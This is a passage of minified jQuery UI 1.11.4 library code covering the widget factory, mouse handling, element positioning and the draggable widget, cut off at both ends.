n,a=e.plugins[t];if(a&&(s||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(n=0;a.length>n;n++)e.options[a[n][0]]&&a[n][1].apply(e.element,i)}};var s=0,n=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=e._data(n,"events"),s&&s.remove&&e(n).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData),e.widget=function(t,i,s){var n,a,o,r,h={},l=t.split(".")[0];return t=t.split(".")[1],n=l+"-"+t,s||(s=i,i=e.Widget),e.expr[":"][n.toLowerCase()]=function(t){return!!e.data(t,n)},e[l]=e[l]||{},a=e[l][t],o=e[l][t]=function(e,t){return this._createWidget?(arguments.length&&this._createWidget(e,t),void 0):new o(e,t)},e.extend(o,a,{version:s.version,_proto:e.extend({},s),_childConstructors:[]}),r=new i,r.options=e.widget.extend({},r.options),e.each(s,function(t,s){return e.isFunction(s)?(h[t]=function(){var e=function(){return i.prototype[t].apply(this,arguments)},n=function(e){return i.prototype[t].apply(this,e)};return function(){var t,i=this._super,a=this._superApply;return this._super=e,this._superApply=n,t=s.apply(this,arguments),this._super=i,this._superApply=a,t}}(),void 0):(h[t]=s,void 0)}),o.prototype=e.widget.extend(r,{widgetEventPrefix:a?r.widgetEventPrefix||t:t},h,{constructor:o,namespace:l,widgetName:t,widgetFullName:n}),a?(e.each(a._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete a._childConstructors):i._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,a=n.call(arguments,1),o=0,r=a.length;r>o;o++)for(i in a[o])s=a[o][i],a[o].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.extend({},s):s);return t},e.widget.bridge=function(t,i){var s=i.prototype.widgetFullName||t;e.fn[t]=function(a){var o="string"==typeof a,r=n.call(arguments,1),h=this;return o?this.each(function(){var i,n=e.data(this,s);return"instance"===a?(h=n,!1):n?e.isFunction(n[a])&&"_"!==a.charAt(0)?(i=n[a].apply(n,r),i!==n&&void 0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void 0):e.error("no such method '"+a+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; "+"attempted to call method '"+a+"'")}):(r.length&&(a=e.widget.extend.apply(null,[a].concat(r))),this.each(function(){var t=e.data(this,s);t?(t.option(a||{}),t._init&&t._init()):e.data(this,s,new i(a,this))})),h}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=s++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var s,n,a,o=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(o={},s=t.split("."),t=s.shift(),s.length){for(n=o[t]=e.widget.extend({},this.options[t]),a=0;s.length-1>a;a++)n[s[a]]=n[s[a]]||{},n=n[s[a]];if(t=s.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=i}return this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(t,i,s){var n,a=this;"boolean"!=typeof t&&(s=i,i=t,t=!1),s?(i=n=e(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),e.each(s,function(s,o){function r(){return t||a.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof o?a[o]:o).apply(a,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||e.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+a.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(i).undelegate(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),o=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}}),e.widget;var a=!1;e(document).mouseup(function(){a=!1}),e.widget("ui.mouse",{version:"1.11.4",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!a){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,s=1===t.which,n="string"==typeof this.options.cancel&&t.target.nodeName?e(t.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(t)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),a=!0,!0)):!0}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button)return this._mouseUp(t);if(!t.which)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),a=!1,!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),function(){function t(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function i(t,i){return parseInt(e.css(t,i),10)||0}function s(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var n,a,o=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,d=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,i,s=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),a=s.children()[0];return e("body").append(s),t=a.offsetWidth,s.css("overflow","scroll"),i=a.offsetWidth,t===i&&(i=s[0].clientWidth),s.remove(),n=t-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),s=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),n="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,a="scroll"===s||"auto"===s&&t.height<t.element[0].scrollHeight;return{width:a?e.position.scrollbarWidth():0,height:n?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:n,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s||n?i.width():i.outerWidth(),height:s||n?i.height():i.outerHeight()}}},e.fn.position=function(n){if(!n||!n.of)return f.apply(this,arguments);n=e.extend({},n);var p,m,g,v,y,b,_=e(n.of),x=e.position.getWithinInfo(n.within),w=e.position.getScrollInfo(x),k=(n.collision||"flip").split(" "),T={};return b=s(_),_[0].preventDefault&&(n.at="left top"),m=b.width,g=b.height,v=b.offset,y=e.extend({},v),e.each(["my","at"],function(){var e,t,i=(n[this]||"").split(" ");1===i.length&&(i=l.test(i[0])?i.concat(["center"]):u.test(i[0])?["center"].concat(i):["center","center"]),i[0]=l.test(i[0])?i[0]:"center",i[1]=u.test(i[1])?i[1]:"center",e=d.exec(i[0]),t=d.exec(i[1]),T[this]=[e?e[0]:0,t?t[0]:0],n[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===n.at[0]?y.left+=m:"center"===n.at[0]&&(y.left+=m/2),"bottom"===n.at[1]?y.top+=g:"center"===n.at[1]&&(y.top+=g/2),p=t(T.at,m,g),y.left+=p[0],y.top+=p[1],this.each(function(){var s,l,u=e(this),d=u.outerWidth(),c=u.outerHeight(),f=i(this,"marginLeft"),b=i(this,"marginTop"),D=d+f+i(this,"marginRight")+w.width,S=c+b+i(this,"marginBottom")+w.height,N=e.extend({},y),M=t(T.my,u.outerWidth(),u.outerHeight());"right"===n.my[0]?N.left-=d:"center"===n.my[0]&&(N.left-=d/2),"bottom"===n.my[1]?N.top-=c:"center"===n.my[1]&&(N.top-=c/2),N.left+=M[0],N.top+=M[1],a||(N.left=h(N.left),N.top=h(N.top)),s={marginLeft:f,marginTop:b},e.each(["left","top"],function(t,i){e.ui.position[k[t]]&&e.ui.position[k[t]][i](N,{targetWidth:m,targetHeight:g,elemWidth:d,elemHeight:c,collisionPosition:s,collisionWidth:D,collisionHeight:S,offset:[p[0]+M[0],p[1]+M[1]],my:n.my,at:n.at,within:x,elem:u})}),n.using&&(l=function(e){var t=v.left-N.left,i=t+m-d,s=v.top-N.top,a=s+g-c,h={target:{element:_,left:v.left,top:v.top,width:m,height:g},element:{element:u,left:N.left,top:N.top,width:d,height:c},horizontal:0>i?"left":t>0?"right":"center",vertical:0>a?"top":s>0?"bottom":"middle"};d>m&&m>r(t+i)&&(h.horizontal="center"),c>g&&g>r(s+a)&&(h.vertical="middle"),h.important=o(r(t),r(i))>o(r(s),r(a))?"horizontal":"vertical",n.using.call(this,e,h)}),u.offset(e.extend(N,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=e.left-t.collisionPosition.marginLeft,h=n-r,l=r+t.collisionWidth-a-n;t.collisionWidth>a?h>0&&0>=l?(i=e.left+h+t.collisionWidth-a-n,e.left+=h-i):e.left=l>0&&0>=h?n:h>l?n+a-t.collisionWidth:n:h>0?e.left+=h:l>0?e.left-=l:e.left=o(e.left-r,e.left)},top:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollTop:s.offset.top,a=t.within.height,r=e.top-t.collisionPosition.marginTop,h=n-r,l=r+t.collisionHeight-a-n;t.collisionHeight>a?h>0&&0>=l?(i=e.top+h+t.collisionHeight-a-n,e.top+=h-i):e.top=l>0&&0>=h?n:h>l?n+a-t.collisionHeight:n:h>0?e.top+=h:l>0?e.top-=l:e.top=o(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,n=t.within,a=n.offset.left+n.scrollLeft,o=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,d=l+t.collisionWidth-o-h,c="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,p="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+c+p+f+t.collisionWidth-o-a,(0>i||r(u)>i)&&(e.left+=c+p+f)):d>0&&(s=e.left-t.collisionPosition.marginLeft+c+p+f-h,(s>0||d>r(s))&&(e.left+=c+p+f))},top:function(e,t){var i,s,n=t.within,a=n.offset.top+n.scrollTop,o=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,d=l+t.collisionHeight-o-h,c="top"===t.my[1],p=c?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,f="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-o-a,(0>s||r(u)>s)&&(e.top+=p+f+m)):d>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,(i>0||d>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,n,o,r=document.getElementsByTagName("body")[0],h=document.createElement("div");t=document.createElement(r?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},r&&e.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in s)t.style[o]=s[o];t.appendChild(h),i=r||document.documentElement,i.insertBefore(t,i.firstChild),h.style.cssText="position: absolute; left: 10.7432222px;",n=e(h).offset().left,a=n>10&&11>n,t.innerHTML="",i.removeChild(t)}()}(),e.ui.position,e.widget("ui.draggable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===e(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("ui-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("ui-draggable-handle")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),n=s?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options,a=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,e(a).width()-this.helperProportions.width-this.margins.left,(e(a).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(e,t){t||(t=this.position);var i="absolute"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,n,a,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,s){var n=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,n))})},stop:function(t,i,s){var n=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,n))})},drag:function(t,i,s){e.each(s.sortables,function(){var n=!1,a=this;a.positionAbs=s.positionAbs,a.helperProportions=s.helperProportions,a.offset.click=s.offset.click,a._intersectsWith(a.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==a&&this._intersectsWith(this.containerCache)&&e.contains(a.element[0],this.element[0])&&(n=!1),n
